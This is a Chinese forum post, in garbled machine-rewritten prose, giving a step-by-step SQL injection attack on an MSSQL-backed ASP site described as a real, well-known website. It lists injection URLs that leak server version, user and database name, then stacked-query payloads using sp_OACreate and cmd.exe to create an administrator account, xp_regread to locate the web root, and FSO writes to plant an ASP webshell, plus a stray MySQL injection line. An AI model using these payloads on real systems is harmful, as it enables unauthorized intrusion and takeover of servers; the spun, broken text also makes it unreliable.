|
马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
索引是一种特殊的文件(InnoDB数据表上的索引是表空间的一个组成部分),它们包含着对数据表里所有记录的引用指针。索引不是万能的,索引可以加快数据检索操作,但会使数据修改操作变慢。每修改数据记录,索引就必须刷新一次。server风云变更的收集,收集平安让人们不克不及不存眷它。数据库,让我们不能不想起壮大的ORACLE,MSSQL。微软的毛病最多,明天就用SQLINJECTION来让MSSQL为我们好好的事情。 以下(利用一出名网站作为测试点),信任人人对SQL爆库,爆表,爆字段都已把握,在这里就未几说这方面了。
MSSQL内置函数先容:
@@VERSION取得Windows的版本号,MSSQL的版本号,补钉。User_name()失掉以后体系的毗连用户Db_name()失掉以后毗连的数据库HOST_NAME()失掉以后主机的称号
这些信息有助我们对体系举行复杂的懂得
好,上面我们就入手下手吧!
语句:
http://www.xxx.com/list.asp?classid=1
前往信息:
MicrosoftOLEDBProviderforSQLServer毛病80040e14字符串OrderByIdDESC之前有未闭合的引号。/list.asp,行290
从这里未闭合的引号(“’”),我们能够断定存在SQLINJECTION。发明在毛病固然接着走了,使用以上先容的函数为我们事情了:
语句:
http://www.xxx.com/list.asp?classid=1and0(select@@version)
前往:
MicrosoftOLEDBProviderforSQLServer毛病80040e07将nvarchar值MicrosoftSQLServer2000-8.00.760(IntelX86)Dec17200214:22:05Copyright(c)1988-2003MicrosoftCorporationStandardEditiononWindowsNT5.0(Build2195:ServicePack4)转换为数据范例为int的列时产生语法毛病。/list.asp,行290
相干的信息出来了,MSSERVERADVANCEDSERVER2000+SP4,SQL2000+SP3,从MSSQLSERVER前面的8.00.760可看出是SP3补钉。看了服务器的信息,接下应当懂得数据库的权限了:
语句:
http://www.xxx.com/list.asp?classid=1anduser_name()=’dbo’
前往:一般前往的信息
断定是权限是DBO,从外表DBO权限的毗连用户常常是触及SYSADMIN服务器脚色成员。申明数据库服务器脚色成员组默许是在每一个数据库增添一个DBO用户。
前往道理根1=1,1=2类似..这里只是权限测试,我们也把它爆出来看看:
语句:
http://www.xxx.com/list.asp?classid=1and0(selectuser_name())
前往:
MicrosoftOLEDBProviderforSQLServer毛病80040e07将nvarchar值dbo转换为数据范例为int的列时产生语法毛病。/list.asp,行290
申明毗连数据库的用户权限很高,能够断定是服务器脚色组中的成员。
语句:http://www.xxx.com/list.asp?classid=1and0(selectdb_name())―前往:MicrosoftOLEDBProviderforSQLServer毛病80040e07将nvarchar值GameIMGSys转换为数据范例为int的列时产生语法毛病。/list.asp,行290
如许就能够爆出以后的数据库。失掉这么高权限的数据库毗连成员,我们固然想间接失掉WEBSHELL,或是间接拿到NTADMIN。NTADMIN取决于以后服务器的设置,假如设置分歧理的服务器,我们要间接拿NTADMIN,拿NTADMIN就要用到:
MSSQL内置存储历程:
sp_OACreate(经由过程它,伤害很得更年夜,可是必要有SYSADMINS权限才大概利用)sp_OAGetErrorInfosp_OAGetPropertysp_OAMethodsp_OASetPropertysp_SetPropertysp_OAStop
因为MSSQL一次能够实行多语句,使得我们无机会利用更多的语句。
语句:
http://www.xxx.com/list.asp?classid=1;DECLARE@shellINTEXECSP_OACREATEwscript.shell,@shellOUTPUTEXECSP_OAMETHOD@shell,run,null,C:WINNTsystem32cmd.exe/cnetusercntestchinatest/add
一般前往。(提醒:假如主机上shell存在的话那将在服务器上创立一个cntest的用户)
创立用户了,语句后再加个netlocalgroupadministratorscntest/add加到办理组中。假如对方的机子开着3389端口,或IPC的话,那接上去的事,就不必我多说了。
碰到专业型主机,只开一个80端口,那应当怎样办呢?固然,我们仍是大概拿到WEBSHELL,再渐渐浸透的。
因为权限高,我们大概先建表,写进ASP木马的数据再经由过程MAKEWEBTASK,失掉WEBSEHLL.手工写进的程序太甚于繁锁,上传WEBSHELL最年夜的成绩仍是网页目次,如今网上已有现成的工具经由过程BACKUP,和MASKWEBTASK的工具失掉WEBSHELL了。以下保举,猎取网页路径(经由过程存储历程到达对注册表的读取):
使用内置存储历程xp_regread(读取注册表键值,权限public):
语句:
http://www.xxx.com/list.asp?classid=1;CREATETABLEnewtable(idintIDENTITY(1,1),pathsvarchar(500))Declare@testvarchar(20)execmaster..xp_regread@rootkey=HKEY_LOCAL_MACHINE,@key=SYSTEMCurrentControlSetServicesW3SVCParametersVirtualRoots,@value_name=/,values=@testOUTPUTinsertintopaths(path)values(@test)
IIS的默许路径的在注册表中HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesW3SVCParametersVirtualRoots
使用爆字段将数据库的值读出来:
语句:
http://www.xxx.com/list.asp?classid=1and0(selecttop1pathsfromnewtable)
前往:
MicrosoftOLEDBProviderforODBCDrivers毛病80040e07[Microsoft][ODBCSQLServerDriver][SQLServer]将varchar值E:www,,201转换为数据范例为int的列时产生语法毛病。
这申明网页目次在E:www,接上去也能够使用FSO间接写进ASP木马(提醒必需拥用SYSADMIN权限才可以使用FSO和FSO开进的条件下):
语句:
http://www.xxx.com/list.asp?class=1;
declare%20@o%20int,%20@f%20int,%20@t%20int,%20@ret%20int%20exec%20sp_oacreate%20scripting.filesystemobject,
%20@o%20out%20exec%20sp_oamethod%20@o,%20createtextfile,%20@f%20out,%20e:www est.asp,
1%20exec%20@ret%20=%20sp_oamethod%20@f,%20writeline,%20NULL,%20OnErrorResumeNext
在E:WWW下创立一个test.asp并写进OnErrorResumenext语句:
http://www.xxx.com/list.asp?classid=1;
declare%20@o%20int,%20@f%20int,%20@t%20int,%20@ret%20int%20exec%20sp_oacreate%20scripting.filesystemobject,
%20@o%20out%20exec%20sp_oamethod%20@o,%20opentextfile,
%20@f%20out,%20e:www est.asp,8%20exec%20@ret%20=%20sp_oamethod%20@f,%20writeline,%20NULL,%20asphorse
在E:WWW est.asp增添一行纪录,纪录为asphorse,全部完全木马大概如许写进。(%百分号要用%25替换写进)。假如得不到网页目次,怎样办呢?条件你要猜到网站是不是利用默许WEB,大概利用域名作为WEB。
declare@ointexecsp_oacreatewscript.shell,@ooutexecsp_oamethod@o,run,NULL,’cscript.exec:inetpubwwwrootmkwebdir.vbs-w"默许Web站点"-v"e","e:"’
在默许的WEB站点下创立一个假造目次E,指向E:盘下。
declare@ointexecsp_oacreatewscript.shell,@ooutexecsp_oamethod@o,run,NULL,’cscript.exec:inetpubwwwrootchaccess.vbs-aw3svc/1/ROOT/e+browse’
给假造目次e加上扫瞄属性不错吧。给本人开假造服务。想那些网页目次路径,头都快破了。这下给本人一个天开眼了。那传WEBSHELL使用MSSQL为我们的事情告了一段落了,接上去事情应当由你来了。
mysql使用内部操作字符集gbk来进行操作,即执行"SELECT*FROMtestWHEREname=xxxor1=1/*LIMIT1";从而注入成功 |
|